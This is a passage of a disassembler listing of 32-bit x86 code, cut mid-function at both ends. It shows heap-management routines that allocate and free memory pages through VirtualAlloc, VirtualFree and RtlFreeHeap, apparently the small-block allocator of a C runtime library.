		pop	ebp
		retn
sub_425D50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F30	proc near		; CODE XREF: sub_425FB0+136p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	8000h
		push	0
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+10h]
		push	ecx
		call	dword_4F54B0	; VirtualFree
		mov	edx, off_453C98
		cmp	edx, [ebp+arg_0]
		jnz	short loc_425F5E
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		mov	off_453C98, ecx

loc_425F5E:				; CODE XREF: sub_425F30+20j
		cmp	[ebp+arg_0], offset off_451C78
		jz	short loc_425F97
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	0
		mov	edx, dword_4F3AA8
		push	edx
		call	dword_4F5414	; RtlFreeHeap
		jmp	short loc_425FA1
; ---------------------------------------------------------------------------

loc_425F97:				; CODE XREF: sub_425F30+35j
		mov	dword_451C88, 0FFFFFFFFh

loc_425FA1:				; CODE XREF: sub_425F30+65j
		pop	ebp
		retn
sub_425F30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425FB0	proc near		; CODE XREF: sub_4261A0+60p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, off_451C7C
		mov	[ebp+var_14], eax

loc_425FBE:				; CODE XREF: sub_425FB0+14Dj
		mov	ecx, [ebp+var_14]
		cmp	dword ptr [ecx+10h], 0FFFFFFFFh
		jz	loc_4260EE
		mov	[ebp+var_C], 3FFh
		mov	[ebp+var_10], 0
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_14]
		lea	ecx, [eax+edx*8+18h]
		mov	[ebp+var_4], ecx
		jmp	short loc_425FFA
; ---------------------------------------------------------------------------

loc_425FE8:				; CODE XREF: sub_425FB0:loc_42607Fj
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_4]
		sub	eax, 8
		mov	[ebp+var_4], eax

loc_425FFA:				; CODE XREF: sub_425FB0+36j
		cmp	[ebp+var_C], 0
		jl	loc_426084
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx], 0F0h
		jnz	short loc_42607F
		push	4000h
		push	1000h
		mov	edx, [ebp+var_C]
		shl	edx, 0Ch
		mov	eax, [ebp+var_14]
		mov	ecx, [eax+10h]
		add	ecx, edx
		push	ecx
		call	dword_4F54B0	; VirtualFree
		test	eax, eax
		jz	short loc_42607F
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx], 0FFFFFFFFh
		mov	eax, dword_4F34A0
		sub	eax, 1
		mov	dword_4F34A0, eax
		mov	ecx, [ebp+var_14]
		cmp	dword ptr [ecx+0Ch], 0
		jz	short loc_42605C
		mov	edx, [ebp+var_14]
		mov	eax, [edx+0Ch]
		cmp	eax, [ebp+var_4]
		jbe	short loc_426065

loc_42605C:				; CODE XREF: sub_425FB0+9Fj
		mov	ecx, [ebp+var_14]
		mov	edx, [ebp+var_4]
		mov	[ecx+0Ch], edx

loc_426065:				; CODE XREF: sub_425FB0+AAj
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+arg_0]
		sub	ecx, 1
		mov	[ebp+arg_0], ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_42607F
		jmp	short loc_426084
; ---------------------------------------------------------------------------

loc_42607F:				; CODE XREF: sub_425FB0+5Dj
					; sub_425FB0+80j ...
		jmp	loc_425FE8
; ---------------------------------------------------------------------------

loc_426084:				; CODE XREF: sub_425FB0+4Ej
					; sub_425FB0+CDj
		mov	edx, [ebp+var_14]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [eax+4]
		mov	[ebp+var_14], ecx
		cmp	[ebp+var_10], 0
		jz	short loc_4260EE
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx+18h], 0FFFFFFFFh
		jnz	short loc_4260EE
		mov	[ebp+var_C], 1
		mov	eax, [ebp+var_8]
		add	eax, 20h
		mov	[ebp+var_4], eax
		jmp	short loc_4260C6
; ---------------------------------------------------------------------------

loc_4260B4:				; CODE XREF: sub_425FB0+127j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_4]
		add	edx, 8
		mov	[ebp+var_4], edx

loc_4260C6:				; CODE XREF: sub_425FB0+102j
		cmp	[ebp+var_C], 400h
		jge	short loc_4260D9
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_4260D9
		jmp	short loc_4260B4
; ---------------------------------------------------------------------------

loc_4260D9:				; CODE XREF: sub_425FB0+11Dj
					; sub_425FB0+125j
		cmp	[ebp+var_C], 400h
		jnz	short loc_4260EE
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_425F30
		add	esp, 4

loc_4260EE:				; CODE XREF: sub_425FB0+15j
					; sub_425FB0+E7j ...
		mov	edx, [ebp+var_14]
		cmp	edx, off_451C7C
		jz	short loc_426103
		cmp	[ebp+arg_0], 0
		jg	loc_425FBE

loc_426103:				; CODE XREF: sub_425FB0+147j
		mov	esp, ebp
		pop	ebp
		retn
sub_425FB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426110	proc near		; CODE XREF: sub_41D6B0+B6p
					; sub_423620+12Bp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], offset off_451C78

loc_42611D:				; CODE XREF: sub_426110+88j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		cmp	ecx, [eax+10h]
		jbe	short loc_426189
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		cmp	eax, [edx+14h]
		jnb	short loc_426189
		mov	ecx, [ebp+arg_0]
		and	ecx, 0Fh
		test	ecx, ecx
		jnz	short loc_426185
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFh
		xor	eax, eax
		add	eax, 100h
		cmp	edx, eax
		jb	short loc_426185
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx], edx
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFF000h
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+var_4]
		add	eax, 100h
		mov	ecx, [ebp+arg_0]
		sub	ecx, eax
		sar	ecx, 4
		mov	edx, [ebp+var_4]
		lea	eax, [edx+ecx+8]
		jmp	short loc_42619C
; ---------------------------------------------------------------------------

loc_426185:				; CODE XREF: sub_426110+2Bj
					; sub_426110+3Fj
		xor	eax, eax
		jmp	short loc_42619C
; ---------------------------------------------------------------------------

loc_426189:				; CODE XREF: sub_426110+16j
					; sub_426110+21j
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_8], offset off_451C78
		jnz	short loc_42611D
		xor	eax, eax

loc_42619C:				; CODE XREF: sub_426110+73j
					; sub_426110+77j
		mov	esp, ebp
		pop	ebp
		retn
sub_426110	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261A0	proc near		; CODE XREF: sub_423830+340p
					; sub_423830+3ADp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		mov	edx, [ebp+arg_0]
		lea	eax, [edx+ecx*8+18h]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		add	ecx, edx
		mov	edx, [ebp+var_4]
		mov	[edx], ecx
		mov	eax, [ebp+arg_8]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0F1h
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0F0h
		jnz	short loc_426208
		mov	eax, dword_4F34A0
		add	eax, 1
		mov	dword_4F34A0, eax
		cmp	dword_4F34A0, 20h
		jnz	short loc_426208
		push	10h
		call	sub_425FB0
		add	esp, 4

loc_426208:				; CODE XREF: sub_4261A0+46j
					; sub_4261A0+5Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_4261A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426210	proc near		; CODE XREF: sub_4234C0+CEp
					; sub_423830+2ECp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, off_453C98
		mov	[ebp+var_20], eax

loc_42621E:				; CODE XREF: sub_426210+188j
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [ecx+10h], 0FFFFFFFFh
		jz	loc_426387
		mov	edx, [ebp+var_20]
		mov	eax, [edx+8]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_20]
		add	ecx, 2018h
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_20]
		add	edx, 18h
		mov	eax, [ebp+var_4]
		sub	eax, edx
		sar	eax, 3
		shl	eax, 0Ch
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+10h]
		add	edx, eax
		mov	[ebp+var_8], edx
		jmp	short loc_426273
; ---------------------------------------------------------------------------

loc_42625E:				; CODE XREF: sub_426210:loc_4262DFj
		mov	eax, [ebp+var_4]
		add	eax, 8
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		add	ecx, 1000h
		mov	[ebp+var_8], ecx

loc_426273:				; CODE XREF: sub_426210+4Cj
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+var_10]
		jnb	short loc_4262E4
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		cmp	ecx, [ebp+arg_0]
		jl	short loc_4262DF
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		cmp	eax, [ebp+arg_0]
		jbe	short loc_4262DF
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_4265D0
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_4262D6
		mov	edx, [ebp+var_20]
		mov	off_453C98, edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		sub	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_4]
		mov	[edx], ecx
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_4]
		mov	[eax+8], ecx
		mov	eax, [ebp+var_C]
		jmp	loc_4265C4
; ---------------------------------------------------------------------------

loc_4262D6:				; CODE XREF: sub_426210+9Dj
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		mov	[edx+4], eax

loc_4262DF:				; CODE XREF: sub_426210+73j
					; sub_426210+7Ej
		jmp	loc_42625E
; ---------------------------------------------------------------------------

loc_4262E4:				; CODE XREF: sub_426210+69j
		mov	ecx, [ebp+var_20]
		add	ecx, 18h
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_20]
		mov	eax, [edx+8]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+10h]
		mov	[ebp+var_8], edx
		jmp	short loc_426316
; ---------------------------------------------------------------------------

loc_426301:				; CODE XREF: sub_426210:loc_426382j
		mov	eax, [ebp+var_4]
		add	eax, 8
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		add	ecx, 1000h
		mov	[ebp+var_8], ecx

loc_426316:				; CODE XREF: sub_426210+EFj
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+var_10]
		jnb	short loc_426387
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		cmp	ecx, [ebp+arg_0]
		jl	short loc_426382
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		cmp	eax, [ebp+arg_0]
		jbe	short loc_426382
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_4265D0
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_426379
		mov	edx, [ebp+var_20]
		mov	off_453C98, edx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		sub	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_4]
		mov	[edx], ecx
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_4]
		mov	[eax+8], ecx
		mov	eax, [ebp+var_C]
		jmp	loc_4265C4
; ---------------------------------------------------------------------------

loc_426379:				; CODE XREF: sub_426210+140j
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		mov	[edx+4], eax

loc_426382:				; CODE XREF: sub_426210+116j
					; sub_426210+121j
		jmp	loc_426301
; ---------------------------------------------------------------------------

loc_426387:				; CODE XREF: sub_426210+15j
					; sub_426210+10Cj
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_20]
		cmp	eax, off_453C98
		jnz	loc_42621E
		mov	[ebp+var_20], offset off_451C78

loc_4263A5:				; CODE XREF: sub_426210+346j
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [ecx+10h], 0FFFFFFFFh
		jz	loc_426547
		mov	edx, [ebp+var_20]
		cmp	dword ptr [edx+0Ch], 0
		jz	loc_426547
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+0Ch]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_20]
		add	edx, 18h
		mov	eax, [ebp+var_4]
		sub	eax, edx
		sar	eax, 3
		shl	eax, 0Ch
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+10h]
		add	edx, eax
		mov	[ebp+var_8], edx
		mov	[ebp+var_14], 0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		jmp	short loc_426405
; ---------------------------------------------------------------------------

loc_4263F3:				; CODE XREF: sub_426210+203j
		mov	ecx, [ebp+var_10]
		add	ecx, 8
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx

loc_426405:				; CODE XREF: sub_426210+1E1j
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_426415
		cmp	[ebp+var_14], 10h
		jge	short loc_426415
		jmp	short loc_4263F3
; ---------------------------------------------------------------------------

loc_426415:				; CODE XREF: sub_426210+1FBj
					; sub_426210+201j
		push	4
		push	1000h
		mov	ecx, [ebp+var_14]
		shl	ecx, 0Ch
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		call	dword_4F54B4	; VirtualAlloc
		cmp	eax, [ebp+var_8]
		jnz	loc_426543
		push	0
		mov	eax, [ebp+var_14]
		shl	eax, 0Ch
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_41E4B0
		add	esp, 0Ch
		mov	[ebp+var_18], 0
		mov	edx, [ebp+var_8]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_4]
		mov	[ebp+var_10], eax
		jmp	short loc_42647E
; ---------------------------------------------------------------------------

loc_426460:				; CODE XREF: sub_426210+2A8j
		mov	ecx, [ebp+var_18]
		add	ecx, 1
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_1C]
		add	edx, 1000h
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_10]
		add	eax, 8
		mov	[ebp+var_10], eax

loc_42647E:				; CODE XREF: sub_426210+24Ej
		mov	ecx, [ebp+var_18]
		cmp	ecx, [ebp+var_14]
		jge	short loc_4264BA
		mov	edx, [ebp+var_1C]
		add	edx, 8
		mov	eax, [ebp+var_1C]
		mov	[eax], edx
		mov	ecx, [ebp+var_1C]
		mov	dword ptr [ecx+4], 0F0h
		mov	edx, [ebp+var_1C]
		mov	byte ptr [edx+0F8h], 0FFh
		mov	eax, [ebp+var_10]
		mov	dword ptr [eax], 0F0h
		mov	ecx, [ebp+var_10]
		mov	dword ptr [ecx+4], 0F1h
		jmp	short loc_426460
; ---------------------------------------------------------------------------

loc_4264BA:				; CODE XREF: sub_426210+274j
		mov	edx, [ebp+var_20]
		mov	off_453C98, edx

loc_4264C3:				; CODE XREF: sub_426210+2D1j
		mov	eax, [ebp+var_20]
		add	eax, 2018h
		cmp	[ebp+var_10], eax
		jnb	short loc_4264E3
		mov	ecx, [ebp+var_10]
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_4264E3
		mov	edx, [ebp+var_10]
		add	edx, 8
		mov	[ebp+var_10], edx
		jmp	short loc_4264C3
; ---------------------------------------------------------------------------

loc_4264E3:				; CODE XREF: sub_426210+2BEj
					; sub_426210+2C6j
		mov	eax, [ebp+var_20]
		add	eax, 2018h
		cmp	[ebp+var_10], eax
		sbb	ecx, ecx
		and	ecx, [ebp+var_10]
		mov	edx, [ebp+var_20]
		mov	[edx+0Ch], ecx
		mov	eax, [ebp+var_8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax+8], cl
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_4]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		sub	edx, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		lea	eax, [edx+ecx+8]
		mov	ecx, [ebp+var_8]
		mov	[ecx], eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		sub	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		mov	[ecx+4], eax
		mov	eax, [ebp+var_8]
		add	eax, 100h
		jmp	loc_4265C4
; ---------------------------------------------------------------------------

loc_426543:				; CODE XREF: sub_426210+220j
		xor	eax, eax
		jmp	short loc_4265C4
; ---------------------------------------------------------------------------

loc_426547:				; CODE XREF: sub_426210+19Cj
					; sub_426210+1A9j
		mov	edx, [ebp+var_20]
		mov	eax, [edx]
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], offset off_451C78
		jnz	loc_4263A5
		call	sub_425D50
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_4265C2
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+10h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax+8], cl
		mov	edx, [ebp+var_20]
		mov	off_453C98, edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax+8]
		mov	eax, [ebp+var_8]
		mov	[eax], edx
		mov	ecx, 0F0h
		sub	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	[edx+4], ecx
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+18h]
		sub	edx, eax
		mov	eax, [ebp+var_20]
		mov	[eax+18h], edx
		mov	eax, [ebp+var_8]
		add	eax, 100h
		jmp	short loc_4265C4
; ---------------------------------------------------------------------------

loc_4265C2:				; CODE XREF: sub_426210+358j
		xor	eax, eax

loc_4265C4:				; CODE XREF: sub_426210+C1j
					; sub_426210+164j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_426210	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4265D0	proc near		; CODE XREF: sub_426210+8Ep
					; sub_426210+131p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_0]
		add	eax, 0F8h
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		cmp	edx, [ebp+arg_8]
		jb	short loc_42665D
		mov	eax, [ebp+var_8]
		mov	cl, byte ptr [ebp+arg_8]
		mov	[eax], cl
		mov	edx, [ebp+var_8]
		add	edx, [ebp+arg_8]
		cmp	edx, [ebp+var_14]
		jnb	short loc_42662B
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		sub	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx
		jmp	short loc_426640
; ---------------------------------------------------------------------------

loc_42662B:				; CODE XREF: sub_4265D0+3Bj
		mov	eax, [ebp+arg_0]
		add	eax, 8
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+4], 0

loc_426640:				; CODE XREF: sub_4265D0+59j
		mov	eax, [ebp+arg_0]
		add	eax, 8
		mov	ecx, [ebp+var_8]
		sub	ecx, eax
		shl	ecx, 4
		mov	edx, [ebp+arg_0]
		lea	eax, [edx+ecx+100h]
		jmp	loc_426875
; ---------------------------------------------------------------------------

loc_42665D:				; CODE XREF: sub_4265D0+28j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		mov	edx, [ebp+var_8]
		xor	eax, eax
		mov	al, [edx+ecx]
		test	eax, eax
		jz	short loc_42667B
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		add	edx, [ecx+4]
		mov	[ebp+var_8], edx

loc_42667B:				; CODE XREF: sub_4265D0+9Dj
					; sub_4265D0:loc_426774j
		mov	eax, [ebp+var_8]
		add	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_14]
		jnb	loc_426779
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jnz	loc_426765
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], 1
		jmp	short loc_4266BD
; ---------------------------------------------------------------------------

loc_4266AB:				; CODE XREF: sub_4265D0+F8j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx

loc_4266BD:				; CODE XREF: sub_4265D0+D9j
		mov	eax, [ebp+var_C]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jnz	short loc_4266CA
		jmp	short loc_4266AB
; ---------------------------------------------------------------------------

loc_4266CA:				; CODE XREF: sub_4265D0+F6j
		mov	edx, [ebp+var_10]
		cmp	edx, [ebp+arg_8]
		jnb	short loc_426705
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_4]
		jnz	short loc_4266E5
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_10]
		mov	[ecx+4], edx
		jmp	short loc_4266FD
; ---------------------------------------------------------------------------

loc_4266E5:				; CODE XREF: sub_4265D0+108j
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+var_10]
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4266FD
		xor	eax, eax
		jmp	loc_426875
; ---------------------------------------------------------------------------

loc_4266FD:				; CODE XREF: sub_4265D0+113j
					; sub_4265D0+124j
		mov	edx, [ebp+var_C]
		mov	[ebp+var_8], edx
		jmp	short loc_426763
; ---------------------------------------------------------------------------

loc_426705:				; CODE XREF: sub_4265D0+100j
		mov	eax, [ebp+var_8]
		add	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_14]
		jnb	short loc_426729
		mov	ecx, [ebp+var_8]
		add	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		jmp	short loc_42673E
; ---------------------------------------------------------------------------

loc_426729:				; CODE XREF: sub_4265D0+13Ej
		mov	edx, [ebp+arg_0]
		add	edx, 8
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+4], 0

loc_42673E:				; CODE XREF: sub_4265D0+157j
		mov	edx, [ebp+var_8]
		mov	al, byte ptr [ebp+arg_8]
		mov	[edx], al
		mov	ecx, [ebp+arg_0]
		add	ecx, 8
		mov	edx, [ebp+var_8]
		sub	edx, ecx
		shl	edx, 4
		mov	eax, [ebp+arg_0]
		lea	eax, [eax+edx+100h]
		jmp	loc_426875
; ---------------------------------------------------------------------------

loc_426763:				; CODE XREF: sub_4265D0+133j
		jmp	short loc_426774
; ---------------------------------------------------------------------------

loc_426765:				; CODE XREF: sub_4265D0+C3j
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+var_8]
		add	eax, edx
		mov	[ebp+var_8], eax

loc_426774:				; CODE XREF: sub_4265D0:loc_426763j
		jmp	loc_42667B
; ---------------------------------------------------------------------------

loc_426779:				; CODE XREF: sub_4265D0+B4j
		mov	ecx, [ebp+arg_0]
		add	ecx, 8
		mov	[ebp+var_8], ecx

loc_426782:				; CODE XREF: sub_4265D0:loc_42686Ej
		mov	edx, [ebp+var_8]
		cmp	edx, [ebp+var_4]
		jnb	loc_426873
		mov	eax, [ebp+var_8]
		add	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_14]
		jnb	loc_426873
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jnz	loc_42685F
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], 1
		jmp	short loc_4267D0
; ---------------------------------------------------------------------------

loc_4267BE:				; CODE XREF: sub_4265D0+20Bj
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx

loc_4267D0:				; CODE XREF: sub_4265D0+1ECj
		mov	eax, [ebp+var_C]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jnz	short loc_4267DD
		jmp	short loc_4267BE
; ---------------------------------------------------------------------------

loc_4267DD:				; CODE XREF: sub_4265D0+209j
		mov	edx, [ebp+var_10]
		cmp	edx, [ebp+arg_8]
		jnb	short loc_426802
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+var_10]
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4267FA
		xor	eax, eax
		jmp	short loc_426875
; ---------------------------------------------------------------------------

loc_4267FA:				; CODE XREF: sub_4265D0+224j
		mov	edx, [ebp+var_C]
		mov	[ebp+var_8], edx
		jmp	short loc_42685D
; ---------------------------------------------------------------------------

loc_426802:				; CODE XREF: sub_4265D0+213j
		mov	eax, [ebp+var_8]
		add	eax, [ebp+arg_8]
		cmp	eax, [ebp+var_14]
		jnb	short loc_426826
		mov	ecx, [ebp+var_8]
		add	ecx, [ebp+arg_8]
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		jmp	short loc_42683B
; ---------------------------------------------------------------------------

loc_426826:				; CODE XREF: sub_4265D0+23Bj
		mov	edx, [ebp+arg_0]
		add	edx, 8
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+4], 0

loc_42683B:				; CODE XREF: sub_4265D0+254j
		mov	edx, [ebp+var_8]
		mov	al, byte ptr [ebp+arg_8]
		mov	[edx], al
		mov	ecx, [ebp+arg_0]
		add	ecx, 8
		mov	edx, [ebp+var_8]
		sub	edx, ecx
		shl	edx, 4
		mov	eax, [ebp+arg_0]
		lea	eax, [eax+edx+100h]
		jmp	short loc_426875
; ---------------------------------------------------------------------------

loc_42685D:				; CODE XREF: sub_4265D0+230j
		jmp	short loc_42686E
; ---------------------------------------------------------------------------

loc_42685F:				; CODE XREF: sub_4265D0+1D6j
